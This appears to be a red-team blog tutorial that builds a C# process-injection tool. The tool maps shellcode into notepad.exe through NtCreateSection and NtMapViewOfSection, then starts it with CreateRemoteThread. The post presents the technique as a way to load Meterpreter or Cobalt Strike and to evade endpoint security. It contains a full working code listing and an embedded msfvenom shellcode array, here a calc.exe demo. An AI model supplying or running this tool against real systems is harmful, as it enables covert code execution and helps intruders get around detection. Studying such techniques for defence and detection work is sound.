The ability to execute shellcode on an endpoint is useful for loading third party tooling such as Meterpreter or Cobalt Strike. This is typically done through by allocating memory with VirtualAllocEx, writing to memory with WriteProcessMemory and executing the code using CreateRemoteThread. Unfortunately, calling these API’s is often detected by endpoint security products.
This article will be looking at creating a process injection tool using the NtCreateSection and NtMapViewOfSection API’s.
Microsoft provide the following description of section objects;
A section object represents a section of memory that can be shared. A process can use a section object to share parts of its memory address space (memory sections) with other processes. Section objects also provide the mechanism by which a process can map a file into its memory address space.
The following steps need to be taken:
1. Create a Section Object
Use NtCreateSection to create a section object. A section object represents a section of memory that can be shared. A process can use a section object to share parts of its virtual address space with other processes. We will use this to store our shellcode in our existing process.
__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
[out] PHANDLE SectionHandle,
[in] ACCESS_MASK DesiredAccess, // SECTION_ALL_ACCESS = 0x10000000
[in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
[in, optional] PLARGE_INTEGER MaximumSize,
[in] ULONG SectionPageProtection, // PAGE_EXECUTE_READWRITE = 0x40
[in] ULONG AllocationAttributes, // SEC_COMMIT = 0x8000000
[in, optional] HANDLE FileHandle
);
We can call NtCreateSection with the following parameters:
Win32.NtCreateSection(ref sectionHandle, 0x10000000, IntPtr.Zero, ref shellcodeLength, (uint)Win32.Protect.PAGE_EXECUTE_READWRITE, 0x08000000, IntPtr.Zero);
2. Map a View of the Section into the Current Process
Call NtMapViewOfSection to map the section object into process memory.
NtMapViewOfSection(
IN HANDLE SectionHandle, // The handle we created in step 1
IN HANDLE ProcessHandle, // "-1" represents our current process
IN OUT PVOID *BaseAddress OPTIONAL,
IN ULONG ZeroBits OPTIONAL,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN InheritDisposition,
IN ULONG AllocationType OPTIONAL,
IN ULONG Protect ); // PAGE_READWRITE = 0x04
Win32.NtMapViewOfSection(sectionHandle,(IntPtr)(-1), out var localBaseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out var notNeeded, 0x2, 0, (uint)Win32.Protect.PAGE_READWRITE);
3. Copy the Shellcode to the Local Section
Marshal.Copy(shellcode, 0, localBaseAddress, shellcode.Length);
4. Get a Handle to the Target Process
GetProcessesByName returns an array of all instances of a program. In the below example we’re selecting the first instance of notepad.exe.
targetProcess = Process.GetProcessesByName("notepad")[0];
5. Map the Section to the Foreign Process
Mapping the section will copy over our shellcode to the target process.
Win32.NtMapViewOfSection(sectionHandle, targetProcess.Handle,out var foreignBaseAddress, IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,out _,0x2,0,(uint)Win32.Protect.PAGE_EXECUTE_READWRITE);
6. Use CreateRemoteThread to Execute the Code
Finally, we can call CreateRemoteThread to execute the shellcode stored in the section.
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
Win32.CreateRemoteThread(targetProcess.Handle, IntPtr.Zero, 0, foreignBaseAddress, IntPtr.Zero, 0, IntPtr.Zero);
Code Listing
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace NT_API_Injection
{
internal class Program
{
static void Main(string[] args)
{
//msfvenom -a x64 -p windows/exec CMD="calc.exe" -f csharp -o shellcode.txt
byte[] shellcode = new byte[276] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,
0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00};
// 1. Create a section
long shellcodeLength = shellcode.Length;
IntPtr sectionHandle = IntPtr.Zero;
Win32.NtCreateSection(ref sectionHandle, 0x10000000, IntPtr.Zero, ref shellcodeLength, (uint)Win32.Protect.PAGE_EXECUTE_READWRITE, 0x08000000, IntPtr.Zero);
Console.WriteLine("Using section address: {0:X}", sectionHandle.ToInt64());
// 2. Get a handle to the section
Win32.NtMapViewOfSection(sectionHandle,(IntPtr)(-1), out var localBaseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out var notNeeded, 0x2, 0, (uint)Win32.Protect.PAGE_READWRITE);
Console.WriteLine("Mapped memory!");
// 3. Copy our shellcode to the local section
Marshal.Copy(shellcode, 0, localBaseAddress, shellcode.Length);
// 4. Get a handle to the target process
Process targetProcess = new Process();
try
{
targetProcess = Process.GetProcessesByName("notepad")[0];
Console.WriteLine("Target PID: {0}", targetProcess.Id);
}
catch
{
Console.WriteLine("Target process not found.");
Console.ReadKey();
Environment.Exit(0);
}
// 5. Map our section to the foreign process address
Win32.NtMapViewOfSection(sectionHandle, targetProcess.Handle,out var foreignBaseAddress, IntPtr.Zero,IntPtr.Zero,IntPtr.Zero,out _,0x2,0,(uint)Win32.Protect.PAGE_EXECUTE_READWRITE);
// 6. Start the remote thread
Win32.CreateRemoteThread(targetProcess.Handle, IntPtr.Zero, 0, foreignBaseAddress, IntPtr.Zero, 0, IntPtr.Zero);
Console.ReadKey();
}
}
public class Win32
{
public enum Protect : uint
{
PAGE_READWRITE = 0x04,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40
}
[DllImport("ntdll.dll")]
public static extern UInt32 NtCreateSection(
ref IntPtr section,
UInt32 desiredAccess,
IntPtr pAttrs,
ref long MaxSize,
uint pageProt,
uint allocationAttribs,
IntPtr hFile);
[DllImport("ntdll.dll")]
public static extern UInt32 NtMapViewOfSection(
IntPtr SectionHandle,
IntPtr ProcessHandle,
out IntPtr BaseAddress,
IntPtr ZeroBits,
IntPtr CommitSize,
IntPtr SectionOffset,
out long ViewSize,
uint InheritDisposition,
uint AllocationType,
uint Win32Protect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
}
}
Closing Thoughts
The method of process injection discussed here is typically has lower detection rates than just using VirtualAlloc. Although this will assist in evading on disk detection, it should be noted that our Shellcode may be scanned when in memory.